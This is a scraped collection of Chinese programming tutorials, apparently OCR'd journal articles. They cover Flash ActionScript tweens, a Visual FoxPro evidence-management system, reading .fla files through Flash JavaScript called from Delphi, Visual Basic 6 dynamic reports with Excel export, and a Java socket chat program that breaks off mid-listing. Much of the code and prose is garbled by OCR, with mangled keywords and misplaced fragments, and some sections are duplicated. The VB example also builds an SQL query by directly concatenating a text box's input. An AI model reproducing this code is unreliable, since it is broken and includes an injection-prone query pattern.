function指采用哪種方法鹱動,就是Easing類; Easing類提供有Back、Bounce、Elistic、Regular、 Strong和None6種。每一種又有3種緩動方式; easingln、easingOut、easinglnOut。結合起來效果十分 豐富。 begin。end.duration指的是緩動的開始和結束以 及持續了多長時間. useSecond指緩動的處理采用時間(true)還是幀 (false)一般采用時問. 如l new Tween(your—me,一yscale”, Bounce.easeOut,1.100,1。true)可使your—me的 高度會從l到100%進行彈動,歷時1 5。 5動態遮罩(Dynamic Mask) 相比傳統遮罩,動態遮罩是利用AS對MC進行 更加靈話的控翻。特別適合在交互中使用。一般可以結 合緩動類實現豐富的用戶體驗效果. 下面語句使your—me在一,軸方向上彈性放大. import mx.transitiom.Tween) import mx.transitions.eaaing.*; your—me.onReleue—function()f your—m“Mdl“k(muk—mc)l ne-Twin(mask—mc·。一ymle’·Bonnce·eageOut) 0.100,1.mm)· }I 6結束語 靈活運用這些基車的AS技術。可以制作出簡單 但是不失美理的多媒體應用。最關鍵的是大大增強了 多蟬體應用的可維護性和可移植性. http://www.ionrce.tw/uploads/allimg/120531/1-120531210312942-lp.jpg Flash,AS技術,腳本 美工設計 admin 未知 2012-05-31 20:59 Visual FoxPro制作物證管理系統 http://www.ionrce.tw/biancheng/20120530937.html 隨著數據庫技術的飛速發展以及廣泛應用,社會 上的各個單位、企業都擁有了自己的數據庫管理系統。 同樣,刑事現場物證的管理也面臨著發展迅猛的信息 化革命。對各類案件的現場 隨著數據庫技術的飛速發展以及廣泛應用,社會 上的各個單位、企業都擁有了自己的數據庫管理系統。 同樣,刑事現場物證的管理也面臨著發展迅猛的信息 化革命。對各類案件的現場勘查是刑事訴訟法賦予公 安機關的權利和義務,現場勘查中對物證的提取與保 存是刑事技術部門的重要工作。隨著物證數量的增大, 其提取、保存、移交等各個環節的管理工作量更是成倍 增大,傳統喲手工操作耗時長、差錯率高、查檔效率低 下,使用信息化、智能化的管理手段將明顯提高工作效 率,使物證管理的過程自動化和規范化。在刑事現場物 證管理設計的基礎上,使用Visual FoxPro作為開發 平臺對其進行了實現。 1 系統概述 刑事現場物證管理系統是一套集現場物證的錄入 與管理的綜合性物證信息管理系統,它向用戶提供良 好的圖形界面,讓用戶通過鼠標的點擊,輕松完成復雜 的物證出入庫、信息查詢及打印等管理工作,從而節省 了公安機關刑事技術部門的工作時間,減化了工作程 序,降低了勞動強度,有效地提高了案件偵辦的工作效 率。本系統旨在實現以下功能: 信息管理:在信息管理菜單下進行對物證信息的 管理。 日常操作:在日常操作菜單下進行物證的入庫、出 庫操作。 信息查詢:在信息查詢菜單下進行對物證信息、入 庫信息和出庫信息的查詢。 系統管理:在信息管理菜單下進行登錄系統、修改 密碼和退出系統等操作。 2 數據庫需求分析 本系統定義的數據庫包含以下4個表:物證信息 表(oeinfo)、入庫信息表(iinfo)、出庫信息表(oinfo)、 用戶信息表(uinfo)。下面分別對這些表進行邏輯結構 設計。 ①物證信息表:包含物證編號、物證名稱、計量單位、數量等。具體的描述如表1所示。 ②入庫信息表:包含物證編號、申請入庫人、批準 人、入庫人等。具體的描述如表2所示。 ③出庫信息表:包含物證編號、出庫事由、申請人、 批準人、出庫人等。具體描述如表3所示。 ④用戶信息表:包含用戶名、密碼等。具體描述如 表4所示。 3 系統實現 本節將根據刑事現場物證管理系統的總體設計及 數據庫設計對該系統進行基本功能界面的劃分。并對 每個界面進行了詳細的設計,因篇幅所限僅對部分代 碼進行描述。 3.1創建系統代碼 本系統使用.PRG程序作為系統的主程序,該主 程序Main.prg的程序代碼如下: *一一設置系統環境 clear clear all set century on 8&顯示4位年代 set data ymd 8&El期顯示方式為“年月日” set hour tO 24&&24 h格式顯示日期 set escape off&&禁止運行的程序在按“ESC”鍵時被中斷 set talk off&&關閉命令顯示 set safety off&&覆蓋時不要確認 ·一一聲明全局變量 public ccuruser&&聲明全局變量,用來保存系統中的登 錄用戶 *…一調用splash表單 do form splash -一一進行事件循環 read events _一一結束事件循環后退出vfp quit 3.2創建系統文檔 刑事現場物證管理系統需要向用戶提供友好的應 用程序界面,表單是Visual FoxPro提供的用于建立 應用程序界面的最主要工具之一,在項目管理器中依 次建立各個表單。 3.2.1創建系統主袁單 本系統中系統主表單的作用如下。 *作為程序主窗口。 *裝載主菜單。 *裝載狀態欄。 3.2.2創建系統其他表單 除系統主表單外,還需創建“splash”、“系統登 錄”、“物證信息管理”等其他應用模塊的表單。 3.3創建系統主菜單 系統主菜單的結構如表5所示。 3.4系統的螭譯和發行 在項目管理器中將系統運行所需的文件全部創建#p#分頁標題#e# 完成后,可以將系統[連綰]為可執行程序。使系統可以 在脫離Visual FoxPro環境下單獨運行。 將項目文件編譯為可執行程序后,可以利用 isual FoxPro中的“安裝向導”來執行打包工作,制作 系統安裝包。 系統測試 系統測試是為了發現錯誤而執行程序的過程,成 功的測試是發現了至今尚未發現的錯誤的測試.測試 的且的就是希望能以最少的人力和時問發現潛在的各 種錯誤和缺陷。測試應根據開發各階段的需求、設計等 文檔或程序的內部結構精心設計測試用倒。并利用這 些實例來運行程序,以便發現錯誤。 本次測試環境為:cpu:P4 3.0 G}tz。512 MB內 存,320 GB可用硬盤,使用Windows XP操作系統. 主要針對以下幾個界面;登錄界面、主界面、物證出人庫界面、修改用戶信息界面。 系統測試結果: ①本系統所有模塊都能準確穩定地實現頂定功 能。并且覆蓋全部需求項. ②用戶界面比較友好,有必要的操作提示,每個頁 面都有相應的提示信息。頁面布局合理,功能模塊劃分 清晰。刪除功能如有必要都有確認嗣除窗口,減少了用 戶誤操作的可能性. 測試結論t奉系統的開發基本達到設計要求,系統 功能完整,用戶所需的功能全部實現,人機界面友好, 安全可靠,使用方便,已達剜預定目標,可以交付使用. http://www.ionrce.tw/uploads/allimg/120530/1-120530223043526-lp.jpg Visual,FoxPro,物證管理系統 各類編程 admin 未知 2012-05-30 22:28 通過Flash+JavaScript+API來解析fla文件 http://www.ionrce.tw/wangzhanbiancheng/20120524933.html 1 引言 在flash教學中,有時需要對學生的媒體創作做一些量化 的統計,以檢驗學生的學習程度。在這個過程中,需要設定一 磐知識點(比如對Flash作品中淡入淡出效果的檢測),然后學 生 1 引言 在flash教學中,有時需要對學生的媒體創作做一些量化 的統計,以檢驗學生的學習程度。在這個過程中,需要設定一 磐知識點(比如對Flash作品中淡入淡出效果的檢測),然后學 生根據這些知識點完成對作品的創作并提交。對于學生提交上 來的大量作品(fla文件),檢驗手段成了一個困難的問題。如 果依靠教師的手工批閱,這將是一件十分繁重的任務,所以自 動分析fla文件成了一個非常迫切的要求。雖然Macromedia公 司不提供fla文件格式說明,但提供Flash JavaScript APl支持, 使得可以從另外一個角度去分析fla文件。 2 Flash JavaScript API 根據nash提供的幫助文檔,可以知道:Flash Javascript API即nash Javascript應用程序編程接口,是一個輔助編程工 具。該工具可用來創建在創作環境中運行的腳本。同時,作為 擴展Flash的主要部分,Flash JavaScript API提供了在F/ash創 作環境中(即用戶保持Flash程序打開期間)執行多個動作的 腳本的功能,這有助于簡化創作過程。這意味著,既可以利用 其來創作E1.夠h動畫,也可以利用其來讀取fla文件中各種對 的屬性。 3 Flash文檔對象模型(DOM) 要做到這一點,還需要了解一下Flash文檔對象模型 fDOM).因為n聃h JavaScript API基于文檔對象模型(DOM), 該模型允許使用JavaScript對象訪問Flash文檔(即fla文檔)。 在nash幫助文檔中,提供了對于DOM結構包括各個對 象的方法和屬性的詳細描述。但根據實際情況,一般只需了解 其中主要的對象和屬性。 圖l中描述了對有用的簡化的Flash文檔對象模型。 用于flash JavaScript AFI的flash文檔對象模型(DOM) 包含一組頂級函數和兩個頂級對象(FLfile對象和Flash對象 (Ⅱ))。一切就從這兩個頂級對象開始。 (1)啟動flash8,選擇新建“Flash JavaScript文件”命令, 在編輯器中輸入以下代碼: var strlis:new Array();定義(字符串)數組 var timeLines=new Array(); f1.openDocument(‘file:///C:/check.fIa"}://打開被檢文件 vardoc:fl.getDocumentDOM0;得到文檔對象模型接口 timeLines=doc.timelines;得到Flash時間軸(場景)。 。。。 ;trIiS.Dush(doc.height); 得到文檔寬度、高度、背景色、幀率、 ,/場景數,并追加到strlis數組中 strlis.push(doc.width); strlis.push(doc.backgroundColor); strlis.push(doc.frameRate); strlis.push(timeLines.length); FLfile write(file:///C:/fltest tXt".strtis);,/將strlis數組的值寫入 .//fltest.txt //關閉被檢文件 .closeDocument("file:l//C:lcheck-fla',false);,,天即傲伍x‘阡 (2)將文件保存,如“test.jsfl”。將待檢測的fla文件復制到c盤,并命名為”check.fla“的一些文件屬性的截圖。 (3)雙擊“test.jsfl”文件運行。這時會自動肩動Fish (如果Flash沒有肩動).并執行jsn中Flash Java.Script代碼, 將結果寫人“c:LOtest ixt”文件。 (4)打開fltest.txt,觀察得到的執行結果(各屬性值以“,” 分隔).如圖3所示。 通過上面的例子,可以初步了解Rash JavaScript運行機制 以及如何輸出結果至外部文件。 5外部程序調用Flash JavaScript(jsfl) 在實際應用中.需要南自己的應用程序去調用Flash JavaScfipt代碼。不過需要指出的是,外部應用程序必須通過 Flash來達到這個目的(機器上必須安裝有nd·Mx及以上完 整版)。實現此目的的方法很簡單,即可以利用sheⅡExecute函 數。以Delphi為例,調用代碼如下: ShellExecute lApplication Handle,"open’,’flash.exe’,’c:\test js礦nmSW—SHOW); 綜上所述.應用原理如圖4所示 6應用舉例(解析fIa文件) 6.1(Delphi7.0)應用程序界面和運行結果 如圖5所示.在主表單L置人一個Button和一個TreeView 控什。在這個應用中.利用jsn得到解析結果。為了方便觀察#p#分頁標題#e# 和下一步自動批閱功能.最終解析結果在TreeView控件中以 樹狀結構顯示。該應J}j完整地呈現了如何讀取fla文件中的主 要對象屬性值的過程和方法。 6.2外部應用程序代碼 uses ShellAPI;//引用函數ShellExecute所需單元 procedure TForml ButconlClick(Sender:TObject);#Buttonl Il點擊事件 Var fList:TStringList; b:beolean; procedure split(var tarlist:TStringlist;s:string;c:widechar); ,,i亥子過程根據特殊字符分割字符串(在本應用中,以”.”字符分 ,膈字符串) var i:integer;tempstr:string;se:widestring; begin tempstr:=”: tarlist Clear; if s<>“then begin se:=widestring(s); for i:=1 to length(sel do begin if se[i]=c then begin tarlist.Add(tempstr); tempstr:=“: end else tempstr:=tempstr+seli]; end; tarlist Add(tempstr); end; end;//split子過程結束 begin//ButtonlClick主程序.解析伯文件井以樹形結構顯示 ||舟析結果 b:=true; fList:=TStnngList.Create; DeleteFile(’c:\fTree txt’): DeleteFile(’c:\fltest txt 7): ShellExecute(Handle."open’,’flash exe’."c:\fltest jsfl’,州, SW_SHOW): while b do //等待flash exe執行js制完畢并釋放txt控制 ,Arv fList.LoadFromFile(’c坩Iteat.txtl; ,,導人結果文件(txt) b:=false; exceDt continue; end; split(fList.Utf8ToAnsi(fList.Strings[0]),’,,)://以“,”為分隔符分 蒯字符串。形成一棵樹 fList.SaveToFile(’c:\fTree.txt,). TreeViewl.LoadFromFile(’c:\fTree.txt,). fList.Free; end; 6.3 jsfl文件中的Flash JavaScript代碼 該代碼顯示了對fla文檔中各個主要對象(如場景、圖層、 關鍵幀、實例、元件等)及其屬性的讀取方法。為了更好地觀 察代碼。簡化了對fla文檔中對象屬性的讀取,即減少了同一 個對象的屬性讀取代碼行,一般讀取2個屬性。更多的屬性可 以參看Flash中的幫助文件。源代碼如下: var Level=0;//{模擬棧指針 var strlis=new Array();//定義(字符串)數組 Mar str=new String(); f1.openDocument(。file:///C:/check.fla。): getTabStr(i)胳到前綴符Tab串,用來構建樹的 //層次 { var S=‘。: while(i>0) {s+=‘ 。:/tab鍵 i--:} return S: l function strlisPush(i,S)//替換字符串中的某些特殊符號并 ∥追加到strlis數組中 { str=String(s); str=str.replace(Ar/g.”):str=str.replace(An/g,"); str=str.replace(/./g.”)://去掉“,” str=str.replace(//9,“}://去掉Tab符 str=str.reptace(/('、s’)I舾’$)/g,“)∥去掉首尾空格 strlis.push(getTabStr(i)+str); l var doc=f1.getDocumentDOM0;//文檔對象模型 tl=new 朋寸間軸對象數組 var lib=doc.1ibrary; //flash元件庫對象 var itemArray=new Array(); //元件對象數組 var layerGroup=new Array(); //圖層對象數組 var frameGroup=new Array(); //幀對象數組 var elementGroup-new Array();//元素數組 var fillitem=new Array(); ,/填充對象數組 var strokeltem=new Array(); II筆觸對象數組 var filterGroup=new Array(); //濾鏡對象數組 var timeLines=new Array(); ,/H寸間軸對象數組 itemArray=lib.items; timeLines=doc.timelines; i=O:j-0:t=0: strlisPush(LeveI,"doc。): Level++; str|isPush(LeveI,"height’): st r|isPush(LeveI+1,doc.height); str|isPush(LeveI,"width。): strlisPush(LeveI+1,doc.width); st rIisPush(LeveI,。backgroundCoIor。): st—isPush(LeveI+1,doc.backgroundCoIor); st rIisPush(Level,"frameRate。): strlisPush(LeveI+1。doc.frameRate); st r|isPush(LeveI,"sceneCount。): st r|isPush(Level+1.timeLines.1ength); function getArray(xarray) ‘ var s=“;var k=0: for《k=O;k<xarray.1ength;k++) {s=s+xarray【k】+‘:。}#p#分頁標題#e# re“jm S: } function pushFill(Level.fillitem)//填充對象屬性讀取函數 { strlisPush(Level+l,。color'); strIisPushILeveI+2,fillitem.color); strIisPushILeveI+1.。style。): strIisPush《LeveI+2.fillitem.styIe): ,,…更多屬性略,下同 } function pushStroke(Level,strokeltem)//筆觸對象屬性 ,廠讀取函數 { st rIisPushILeveI+1,。color。}: st rlisPush《Level+2,strokeltem.color); strlisPush(LeveI+1,。style。): st rIisPush(LeveI+2,strokeltem.style); ||‘一 } function pushElementFS(Level,k,singleElement)//元素的 肭氧充和筆觸屬性讀取函數 { doc.seIectNone《): t1.currentFrame=k; singleElement.selected=true; doc.selection[0]=singleElement; st rIisPush《LeveI+1,。fi¨‘): fillitem=doc.getCustomFill(。selection。): DushF川lLeveI+1,fillitem); st r|isPush{Level+1,。stroke”): strokeltem=doc.getCustomStroke(‘selection。): pushStroke(Level+1,strokeltem); } function pushFilter(Level,filterltem),,濾鏡對象屬性讀取函數 { str|isPushILeveI.filterltem.name); str|IsPush《LeveI+1.。name。): s訂IisPush(LeveI+2.filterltem.name); str|isPush(LeveI+1.。angle。): strlisPush(Level+2.Math.round(filterltem.angle)); //… 、 function pushElement(flag.Level.singleElement.k)//元素 ,/屬性讀取函數 { var s=“: s=singleElement.elementType; jf IsingleElement.elementType==。text。)//文本 {s=s+。【_+singleElement.getTe×tStrlng()+。】-:) if IsingleElement.elementType==。instance。)//元件實例, {s=s+。l_+singleElement.1ibraryltem.name+。】。:) st rIisPush《LeveI.s): st¨isPush(LeveI+1,。name。): strlisPush(Level+2.singleElement.name); strlisPush(Level+l,。elementType。): strlisPush(Level+2,singleElement.elementType); if(singleElement.elementType==。shape。)//形狀 f str|isPush(LeveI+1,。isGroup’): str|isPush(LeveI+2,singleElement.isGroup); strlisPush(Level+1,‘isDrawingObject。): strIisPush(LeveI+2.singleElement.isDrawingObject); if(flag)//形狀如果存在于元件庫中的元件的圖層 ,,中,需要進入剪輯元件模式獲得填充、筆觸等值 { lib.editltem(itemArray[i].name); pushElementFS(Level.k.singleElement); doc.exitEditMode; )LeVel else { pushElementFS(Levet,k,singleElement); 1 }pushFilter(Level, if(singleElement.elementType= { strlisPush(Level+1,。textTy strIisPush(Level+2.singleElement.textType); strIIsPush(LeveI+1,。TextString。): strlisPush(Level+2.singleElement.getTextStrin90); //… if(singleElement.textType==。static。) { str|isPush《Levei+1.。orientation。): strIisPush(LeveI+2,singleElement.orientation); } if IsingleElement.textType==。dynamic‘ ¨ singleElement.textType==。input。) { strIisPush《LeveI+1,。embeddedCharacters。): strIisPush《LeveI+2,singleElement.embeddedCharacters); str|isPush(LeveI+1,’embedRanges。): strIisPush(LeveI+2,singleElement.embedRanges); }|..· ) strlisPush(Level+l,。face。): strlisPush(LeveI+2,singleElement.getTextAttr(。face。)): strlisPush(Level+1,。size。): strlisPush(Level+2。singleElement.getTextAttr(。size。)l: //… } if(singleElement.elementType==。instance。) { str|isPush{Level+1,。instanceType。): strlisPush《LeveI+2,singleElement.instanceType): strlisPush(Level+l,。libraryltemName。); strlisPush(Level+2,singleElement.1ibraryltem.name): if{singleElement.instanceType==。symbol。) { str|isPush(Level+1,。symbolType。): strIisPush《LeveI+2,singleElement.symbolType): strIisPush{Level+1,。actionScript。): strIisPush(Level+2,singleElement.actionScript); //… } } filterGroup=singleElement.filters; if(filterGroup!=undefined) { ++: strlisPush(Level,'filters。): for Ik=O:k<fiIterGroup.1ength;k++) (#p#分頁標題#e# LeVef++: ,filterGroup[k]); 。text。)Level一一; } e。):Level一一: } } function pushFrames(flag,k,Level,singleFrames)//關鍵幀 腑象屬性讀取函數 { var.-0: st rIisPush(LeveI,k+1): st rIisPush(LeveI+1,。name。): strlisPush(Level+2,singleFrames.name); strltsPush(Levej+1,‘soundName‘): strlisPush(Level+2.singleFrames.soundName); ||.·· if(singleFrames.tweenType!='none。)腑h間類型 { strlisPush(Level+1.。motionTweenOrientToPath‘): st州sPush《LeveI+2,singleFrames.motionTweenOrientToPath); strIisPush(LeveI+1.”motionTweenRotate‘): strIisPush(LeveI+2,singleFrames.motionTweenRotate); l|I‘· ) elementGroup=singleFrames.elements; st rIisPush(LeveI+1,。elementCount‘): st rIisPush(Level+2.elementGroup.1ength); Level++; strlisPush(Level,"elementGroup。): while I(.<eIementGroup.1ength)&&《i<=1 0》),/避免 多元素檢測導致程序變慢 { Level++; pushElement(flag.Level,elementGroup[i],k): Level一一: i++: } } function pushLayer(flag.Level,singleLayer)//圖層對象屬性讀取函數 { var k=0: strlisPush(Level,singleLayer.name); st rIisPush(Level+1,。layerType。); strlisPush(Level+2.singleLayer.1ayerType); strIisPush(Level+1,。color。): strIisPush{Level+2,singleLayer.colod; frameGroup=singleLayer.frames; Level++; strlisPush(Level,'frameSeries。): while(k<frameGroup.1ength) { Level++; pushFrames(flag,k,Level,frameGroup[k]); k=k+frameGroup[k].duration; Level--; l l //主程序,獲取場景 strlisPush(Level,'scenes‘): for(t=0;t<timeLines.1ength;t++} { Level++; tl=timeLines[t]; dec.editScene(t) strlisPush(Level,t1.name); Level++; strlisPush(Level,"frameCount'); strIisPush《Level+1,t1.frameCount); strlisPushlLeveI,'layerCount。): strlisPush(Level+l,t1.1ayerCount); layerGroup=t1.1ayers; strlisPush(Level,"layers’): for(j=0;j<t1.1ayerCount;j++) { Level++; pushLayer(false,Level,layerGroup[j]); Level一一: } Level一一: Level-一: } //獲取元件摩 strlisPush(Level,'lib。): for(i=0;i<itemArray.1ength;i++) { Level++; strlisPush(LeveI,itemArray[i],name); strIisPush(LeveI+1。。itemType。): strlisPush(Level+2.itemArray[i].itemType): if(itemArray[i].itemTyDe==。video。l//{蜴l頻 { strlisPush(Level+1.。videoType。): strIisPush(LeveI+2,itemArray[i].videoType); strlisPush(LeveI+l,。sourceFilePath。l: strlisPush(Level+2.itemArray[i].sourceFiIePathJ: 1 .f(itemArray【i].itemType==。movie clip。|I itemArray[i】 itemType==‘graphic。lI itemArray[i].itemType==。button。) //影片剪輯、圖形、按鈕 i tl=itemArray[i].timeline; layerGroup=t1.1ayers; strJisPush《LeveI+1,‘layerCount‘): strlisPush(Level+2,t1.1ayerCount); strllsPush(LeveI十1,‘frameCount。); st rIisPush(LeveI+2,t1.frameCount); Level++; st rIisPush(LeveI,'layers。): for(j=0;j<t1.1ayerCount;j++) { Level++; pushLayer(true,Level,layerGroup[j]); Level一一: } Level一一: } Level一一: } strlisPush(O,"end。): FLfile write(。file:///C:/fltest txt",strlis); f1.closeDocument('file:///C:/check fb',false) 7結語 既演示了在Flash中利用Flash JavaScript讀取fla文檔的方 法和程序,也描述了外部程序利用FLash JavaScfipt的機制。程 序在DelphiT+Flash8環境下通過。不過需要指出的是+外部程 序代碼在等待flash.exe執行jsn完畢并釋放txt控制的過程中 需要完薦,嘲為如果jsfl的代碼出錯,或者待解析的fla文件不 存在.那么fltest.txt就不會生成,外部程序就會陷入一個死循 環。讀者在自行編程中需要考慮一個延時強制結束的問題。 Flash JavaScfipt的初衷是為了簡化Flash動畫創作.通過#p#分頁標題#e# 腳本編輯動面,避免大量重復的勞動。也正是這種功能設計使 得解析FIash動畫源文件(fla)成為了可能.從而解決自動批 閱n8文件的實際問題,不僅如此.還可以根據實際情況利用 其衍生出其他更多應用。 http://www.ionrce.tw/uploads/allimg/120524/1-120524130052N2-lp.jpg Flash,JavaScript,API,fla文件 網站編程 admin 未知 2012-05-24 12:59 Visual Basic6.0動態數據報表設計 http://www.ionrce.tw/biancheng/20120522932.html l 引言 數據報表的設計在大多數信息管理系統中是常見的。數 據報表中顯示信息的布局一般是在設計過程中完成的,在程 序運行時是不能改變,一般需要改變布局的可能性一般也不 大 l 引言 數據報表的設計在大多數信息管理系統中是常見的。數 據報表中顯示信息的布局一般是在設計過程中完成的,在程 序運行時是不能改變,一般需要改變布局的可能性一般也不 大。但顯示的信息內容許多時候需要根據不同的條件設置改 變,這正如在一般界面上輸入不同的查詢條件就回查詢顯示 不同的信息一樣,只不過數據報表是可以打印的。這就是動 態數據報表的設計問題。這在有些時候是必須的,否則難以 滿足復雜的實際需要。 2過濾數據 可以通過對數據環境設置SQL語句來實現對數據的過濾, 如下面的代碼: Private Sub Command3_Cnck() With DataEnvironmcml If rsCommandl.State Then rsCommandl Close ’關閉對象,如果對象已經打開,則不允許執行應用程序 所要求盼操作,必須關閉它 Commands[Commandl.ComnmndText=”select+ from a where chenji>”&Trim(Textl) +設置過濾條件,條件值從窗體上的控件Textl中取得 Commandl ’使過濾條件生效 EndWith 執行以上代碼以后,報表從數據環境DataEnvironmentI讀 取的數據就是符合要求的過濾出數據了。 3記錄集過濾 下面的代碼實現為數據環境的數據集合設置過濾條件: Private Sub Cornmand6_Click () Wi出DataEnvironmentl If rsCommandl.State Then rsCommandl.Close ’如果對象已經打開,則不允許執行應用程序所要求的 7操作,必須關閉它 .rsCommandl.Filter=”chenji>80 And thenji<100” ’設置過濾條件 .Commandl '使過濾條件生效 End With 打開報表以前需要先運行以上代碼,報表內容就是符合 條件的內容了。 創建數據環境DataEnvironment2,如圖t所示.設置 command2的屬性如圖2,圖3所示。 圖1中下面的編輯框里的SQL語句里的每一個問號對應 于一個參數。 在command2屬性參數頁中設置參數類型時要注意.數值 型參數可以不設置大小,即長度數(大小),字符型參數必須 設置合理的長度數(大小),如圖3,網4所示。 4將數據庫的數據寫入Excel表格 首先使用“工程”菜單里的“引用”實現對“Excel”類 庫的引用:Microsoft Excel 9.0 Object Library。確定以后就可以 在工程中使用“Excel”所提供的對象進行程序設計了。 執行以下代碼可以將數據庫的記錄寫入Excel表格并以文 件的形式保存,然后就可以充分利用Excel軟件的強大功能對 表格數據進行計算排列等各種處理,這些一般的計算機用都 熟練。 Private Sub Commandl_click 0 Dim ea As Excel.Application Dim ew As Excel Workbook Dim ewt As Excel.Worksheet 7定義對象變量 Set ea=New Excel.Application Set CW=ea.Workbooks.Add’創建新_T作簿 Set ewt=ew.Worksheets.Add 7創建新工作表 ewt.Cells(1,1)=”學號” ’將”學號”寫人1行l列單元格內 ewt.cells(1,2)=”數學” ’將”數學”寫入1行2列單元格內 ewtCells(1,3)=”語文“ ewt.Cells(1,4)=”總分” ewLCells(2。1)=Datal.Reeordset.xuehao oWLCells(2,2)=Datal Recordset.shuxue ewLCells(2.3)=Datal.Reeordset.yuwcn DimiAsInteger i=2 Do While Not Datal.Reoord魁t.EOF +將Daml數據控件上所掛數據表的所有記錄 。寫入Excel表里 ewt.Cells (i.1)=Datal.RecordseLxuehao ’將xuehao字段寫入i行1列單元格內 ewt.Cells(i,2)=Datal.Recordset.shuxue ’將shuxue字段寫入i行2列單元格內 ewt.Cells“3)=Datal RecordseLyuwen Datel.RecotdseLMoveNext i=i+1 Loop ewtSaveAs,c:、abcd.xls”) ’以文件名”c:、abcd.xls”保存所生成的工作表 eW.Clo鴕 ea.Quit ’關閉Microsoft Excel Set ea=Nothing Set ew=Nothing Set cwt=Nothing ’釋放所有創建的對象 End Sub 5結語 在許多VB應用系統開發中,以上介紹的動態數據報表的 設計在許多實際情況下非常有意義,但是在應用中要靈活變#p#分頁標題#e# 化,以適應不同情況的需要,但基本方法都一樣。數據報表 在有些應用中不可缺少,有時也用來顯示瀏覽數據。完美的 動態數據報表的設計會給應用系統添彩不少。 http://www.ionrce.tw/uploads/allimg/120522/1-120522210031917-lp.jpg vb,動態數據,數據報表 各類編程 admin 未知 2012-05-22 20:58 Socket技術的聊天程序軟件設計與實現 http://www.ionrce.tw/biancheng/20120521931.html 隨著網絡技術的迅速發展,信息溝通也是信息化管理的一 部分.利用計算機實現工作中的各種問題的溝通,例如工作任 務通知、技術資料傳遞等,以此來提高工作效率和水平。在程 序 隨著網絡技術的迅速發展,信息溝通也是信息化管理的一 部分.利用計算機實現工作中的各種問題的溝通,例如工作任 務通知、技術資料傳遞等,以此來提高工作效率和水平。在程 序設計領域。面向對象的編程技術正在逐步代替面向過程的程 序設計技術,成為計算機應用設計開發的主流。尤其在網絡技 術開發中,面向對象的Java語占編程和相關的Java技術正在 以前所未有的速度發展。 1 開發環境和技術準備 1.1開發及運行環境 (1)操作系統:Windows 2000、Windows XP、Windows 2003或Linux等。 (2)開發工具:MyEclipse,JDK6.0。 (3)CPU:Penfium4 1.8GHz。 (4)內存:128MB以上。 1.2技術準備 1.2.1 Socket 0cket是面向客戶/服務器模型而設計的.Socket接口是 TCP/IP網絡的API.Socket接口定義了許多甬數或例程,Java 程序員可以用它們來開發TCP/IP網絡上的應用程序。在Java 中,Socket和ServerSocket類庫位于iava.net包中。ServerSocket 用于服務器端.Socket是建立網絡連接時使用的。在連接成功 時,應用程序兩端都會產生一個Socket實例,只需操作這個實 例,就可完成所需的會話。 1.2.2多線程 多線程是這樣一種機制.它允許在程序中并發執行多 個指令流。每個指令流都稱為一個線程。彼此間互相獨 立。線程又稱為輕量級進程.它和進程一樣擁有獨立的執 行控制。由操作系統負責調度。區別在于線程沒有獨立的 存儲空間.而是和所屬進程中的其他線程共享一個存儲空 間.這使得線程間的通信遠較進程簡單。多個線程的執行是 并發的,也就是在邏輯上“同時”,而不管是否是物理上的 “同時”。 -2.3 MVC設計模式 MVC(Model—View—Controller,即模型層一視圖層一控制層) 是一種設計模式.它強制地將應用程序的輸入、處理以及輸出 分開。MVC模型3個核心部分:模型層、視網層和控制層, 分別負擔不同的任務。視網層位于用戶客戶端。模型層和控制 層位于服務器端。 2功能設計 2.1客戶端功能 (1)登錄上線。 (2)顯示其他在線用戶。 (3)更新自己的在線用戶列表。 (4)與其他上線用戶發起會話(一對一私聊)。 (5)與多名上線用戶群聊。 (6)發送和接收文件。 2.2服務器端功能 2.2服務器端功能 (1)記錄上線用戶的信息,將其發送給其他在線用戶。 (2)接收用戶下線信息,將其發送給其他在線用戶。 (3)接收用戶群聊信息,將其發送給所有在線用戶。 (4)接收用戶私聊信息,將其發送給相應的在線用戶。 (5)接收用戶文件信息,將其發送給相應的在線用戶。 2.3功能結構 系統功能結構如圖I所示。 3.1文件架構 (1)Clientjava文件:客戶端主程序源文件。 (2)Clienfframe.java文件:客戶端用戶界面實現源文件。 (3)ClientUtil.java文件:處理字符串和顯示信息工具類源 文件。 (4)Sorverjava文件:服務器端源文件。 (5)Messagejava文件:定義了聊天信息和文件信息。 (6)Usermessage.java文件:定義了用戶信息。 (7)Image文件夾:存放程序中使_fI】按鈕圖片和表情用片. 打j”包時一并打人。 3.2系統架構 3.2.1系統類 (1)Client類:實現客戶端的功能。 (2)Clienfframe類:設計客廠T端的用戶界面。 (3)ClientUtil類:用于處理字符串和顯示信息和表情圖片 的工具類。 (4)Server類:服務器端主類,用于實現服務器端功能。 (5)Message類:實現了聊天信息的屬性和方法。 (6)Usermessage類:實現了用戶信息的屬性和方法。 3.22系統婁關系視圖 系統類關系視圖如圖2所示 3.1文件架構 (1)Clientjava文件:客戶端主程序源文件。 (2)Clienfframe.java文件:客戶端用戶界面實現源文件。 (3)ClientUtil.java文件:處理字符串和顯示信息工具類源 文件。 (4)Sorverjava文件:服務器端源文件。 (5)Messagejava文件:定義了聊天信息和文件信息。 (6)Usermessage.java文件:定義了用戶信息。 (7)Image文件夾:存放程序中使_fI】按鈕圖片和表情用片. 打j”包時一并打人。 3.2系統架構 3.2.1系統類#p#分頁標題#e# (1)Client類:實現客戶端的功能。 (2)Clienfframe類:設計客廠T端的用戶界面。 (3)ClientUtil類:用于處理字符串和顯示信息和表情圖片 的工具類。 (4)Server類:服務器端主類,用于實現服務器端功能。 (5)Message類:實現了聊天信息的屬性和方法。 (6)Usermessage類:實現了用戶信息的屬性和方法。 3.22系統婁關系視圖 系統類關系視圖如圖2所示 3,2.3系統實現關鍵 (1)控制好Socket個數和分配是決定程序能甭完成的關鍵。 (2)實現群聊是整個程序關鍵.利用群聊可以實現單醉和 文件傳送。 (3)理清服務器端和客戶端交互過程和傳遞的數據。 如何理解整個客戶端和服務器端通信的這個模型。主要是 對ServerSocket中的accept方法接收到的Socket的理解。通信 過程是:首先服務器端肩動,建立監聽端151,等待連接。其次 是客戶端(c1、c2和c3)與服務器發起連接.由ServerSocket 中的accept方法建立一個Socket(SI、S2和S3),客戶端和服 務器雙方就分別通過各自相對應的&"ket進行通信,而 Serversocket建立的監聽端口則繼續進行監聽,它本身并不參 與具體的通信過程。 4主要功能模塊設計和實現 4.1用戶列表模塊 4.1.1用戶列衰界面 當用戶輸人用戶名后就會進人到用戶列表窗口.界面設計 如圖3所示。 1.2用戶列表功能實現 用戶列表窗f1要完成的功能是:顯示所有在線用戶信息, 監聽群聊事件和監聽私聊事件,并觸發聊天窗ra的顯示。 顯示所有在線用戶信息的代碼如下: if(u.flag1){ dim.clear(); for(Int i=0:i<o.1ength:i++){ dim.addElement(o[i]toStringO); } }else{ for(int i=0:i<dim 